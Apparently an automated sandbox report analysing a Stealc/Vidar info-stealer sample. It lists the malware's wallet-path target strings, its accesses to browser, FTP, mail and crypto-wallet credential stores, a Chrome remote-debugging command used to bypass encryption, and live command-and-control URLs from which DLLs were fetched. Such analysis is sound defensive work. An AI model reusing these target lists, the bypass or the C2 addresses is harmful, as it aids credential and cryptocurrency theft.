Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 2BI8rJKpBa.exe, 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 2BI8rJKpBa.exe, 00000000.00000002.2668293403.0000000000843000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: 2BI8rJKpBa.exe PID: 2836, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

Yara detected Stealc

Source: Yara match	File source: 0.2.2BI8rJKpBa.exe.2310e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2BI8rJKpBa.exe.2310e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2BI8rJKpBa.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2BI8rJKpBa.exe.2350000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2BI8rJKpBa.exe.2350000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2BI8rJKpBa.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2120537180.0000000002350000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2668726233.0000000002310000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2668293403.00000000007FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2BI8rJKpBa.exe PID: 2836, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: 2BI8rJKpBa.exe PID: 2836, type: MEMORYSTR

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CBA0C40 sqlite3_bind_zeroblob,	0_2_6CBA0C40
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CBA0D60 sqlite3_bind_parameter_name,	0_2_6CBA0D60
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CAC8EA0 sqlite3_clear_bindings,	0_2_6CAC8EA0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Create Account	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	11 Process Injection	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	22 Software Packing	NTDS	44 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	31 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label
2BI8rJKpBa.exe	39%	ReversingLabs
2BI8rJKpBa.exe	100%	Avira	HEUR/AGEN.1306978
2BI8rJKpBa.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
plus.l.google.com	142.250.181.46	true	false	high
www.google.com	142.250.181.132	true	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.219.81.132/c3d039fb36c40339.php	true	unknown
http://185.219.81.132/55a20037509cc641/softokn3.dll	true	unknown
http://185.219.81.132/55a20037509cc641/vcruntime140.dll	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://duckduckgo.com/chrome_newtab	2BI8rJKpBa.exe, 00000000.00000003.2295673770.00000000008C1000.00000004.00000020.00020000.00000000.sdmp, KEGDBFIJ.0.dr	false	high
https://mail.google.com/mail/?usp=installed_webapp	chrome.exe, 00000003.00000003.2206992786.00006F54006B4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	2BI8rJKpBa.exe, 00000000.00000003.2295673770.00000000008C1000.00000004.00000020.00020000.00000000.sdmp, KEGDBFIJ.0.dr	false	high
http://185.219.81.132/55a20037509cc641/nss3.dllIs	2BI8rJKpBa.exe, 00000000.00000002.2668293403.0000000000843000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://permanently-removed.invalid/oauth2/v2/tokeninfo	msedge.exe, 00000007.00000003.2310358479.000024A400264000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2310423627.000024A400274000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.google.com/document/J	chrome.exe, 00000003.00000003.2206992786.00006F54006B4000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/4633	chrome.exe, 00000003.00000003.2210057513.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2209263959.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2210092807.00006F5400C24000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2311448943.000024A400354000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2310932623.000024A400368000.00000004.00000800.00020000.00000000.sdmp	false	high
https://anglebug.com/7382	chrome.exe, 00000003.00000003.2210057513.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2209263959.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2210092807.00006F5400C24000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2311448943.000024A400354000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2310932623.000024A400368000.00000004.00000800.00020000.00000000.sdmp	false	high
https://google-ohttp-relay-join.fastly-edge.com/JZ	chrome.exe, 00000003.00000003.2246452980.00006F5401438000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2246064220.00006F5401434000.00000004.00000800.00020000.00000000.sdmp	false	high
https://issuetracker.google.com/284462263	msedge.exe, 00000007.00000003.2310932623.000024A400368000.00000004.00000800.00020000.00000000.sdmp	false	high
https://publickeyservice.gcp.privacysandboxservices.com	chrome.exe, 00000003.00000003.2243883095.00006F5401318000.00000004.00000800.00020000.00000000.sdmp	false	high
http://polymer.github.io/AUTHORS.txt	chrome.exe, 00000003.00000003.2214396357.00006F54010CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2215202098.00006F5400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2214596004.00006F54010E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2215162806.00006F54006B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2214246135.00006F54010BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2215658771.00006F5401154000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2215381406.00006F5400394000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2214433966.00006F540111C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2215121394.00006F5400478000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2215251683.00006F540102C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2214458822.00006F5400FD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2215729175.00006F5400B24000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.google.com/	chrome.exe, 00000003.00000003.2205714620.00006F54004B0000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.google.com/document/:	chrome.exe, 00000003.00000003.2206992786.00006F54006B4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://publickeyservice.pa.aws.privacysandboxservices.com	chrome.exe, 00000003.00000003.2243883095.00006F5401318000.00000004.00000800.00020000.00000000.sdmp	false	high
https://google-ohttp-relay-join.fastly-edge.com/kZ	chrome.exe, 00000003.00000003.2246452980.00006F5401438000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2246064220.00006F5401434000.00000004.00000800.00020000.00000000.sdmp	false	high
https://photos.google.com/settings?referrer=CHROME_NTP	chrome.exe, 00000003.00000003.2213353907.00006F5400EF0000.00000004.00000800.00020000.00000000.sdmp	false	high
https://anglebug.com/7714	chrome.exe, 00000003.00000003.2210057513.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2209263959.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2210092807.00006F5400C24000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2311448943.000024A400354000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2310932623.000024A400368000.00000004.00000800.00020000.00000000.sdmp	false	high
https://photos.google.com?referrer=CHROME_NTP	chrome.exe, 00000003.00000003.2215658771.00006F5401154000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2215381406.00006F5400394000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2215729175.00006F5400B24000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.google.com/?lfhs=2	chrome.exe, 00000003.00000003.2206992786.00006F54006B4000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/6248	chrome.exe, 00000003.00000003.2210057513.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2209263959.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2210092807.00006F5400C24000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2311448943.000024A400354000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2310932623.000024A400368000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ogs.google.com/widget/callout?eom=1	chrome.exe, 00000003.00000003.2259398727.00006F5401BC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2250364202.00006F5401C24000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/6929	chrome.exe, 00000003.00000003.2210057513.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2209263959.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2210092807.00006F5400C24000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2311448943.000024A400354000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2310932623.000024A400368000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/5281	chrome.exe, 00000003.00000003.2210057513.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2209263959.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2210092807.00006F5400C24000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2311448943.000024A400354000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2310932623.000024A400368000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.youtube.com/?feature=ytca	chrome.exe, 00000003.00000003.2206992786.00006F54006B4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://issuetracker.google.com/255411748	msedge.exe, 00000007.00000003.2310932623.000024A400368000.00000004.00000800.00020000.00000000.sdmp	false	high
https://permanently-removed.invalid/oauth2/v4/token	msedge.exe, 00000007.00000003.2310358479.000024A400264000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2310423627.000024A400274000.00000004.00000800.00020000.00000000.sdmp	false	high
https://anglebug.com/7246	chrome.exe, 00000003.00000003.2210057513.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2209263959.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2210092807.00006F5400C24000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2311448943.000024A400354000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2310932623.000024A400368000.00000004.00000800.00020000.00000000.sdmp	false	high
https://anglebug.com/7369	chrome.exe, 00000003.00000003.2210057513.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2209263959.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2210092807.00006F5400C24000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2311448943.000024A400354000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2310932623.000024A400368000.00000004.00000800.00020000.00000000.sdmp	false	high
https://anglebug.com/7489	chrome.exe, 00000003.00000003.2210057513.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2209263959.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2210092807.00006F5400C24000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2311448943.000024A400354000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2310932623.000024A400368000.00000004.00000800.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstore	chrome.exe, 00000003.00000003.2209887214.00006F5400478000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000002.2320550970.000024A40017C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive-daily-2.corp.google.com/	chrome.exe, 00000003.00000003.2205714620.00006F54004B0000.00000004.00000800.00020000.00000000.sdmp	false	high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	AKKKECBKKECGCAAAEHJK.0.dr	false	high
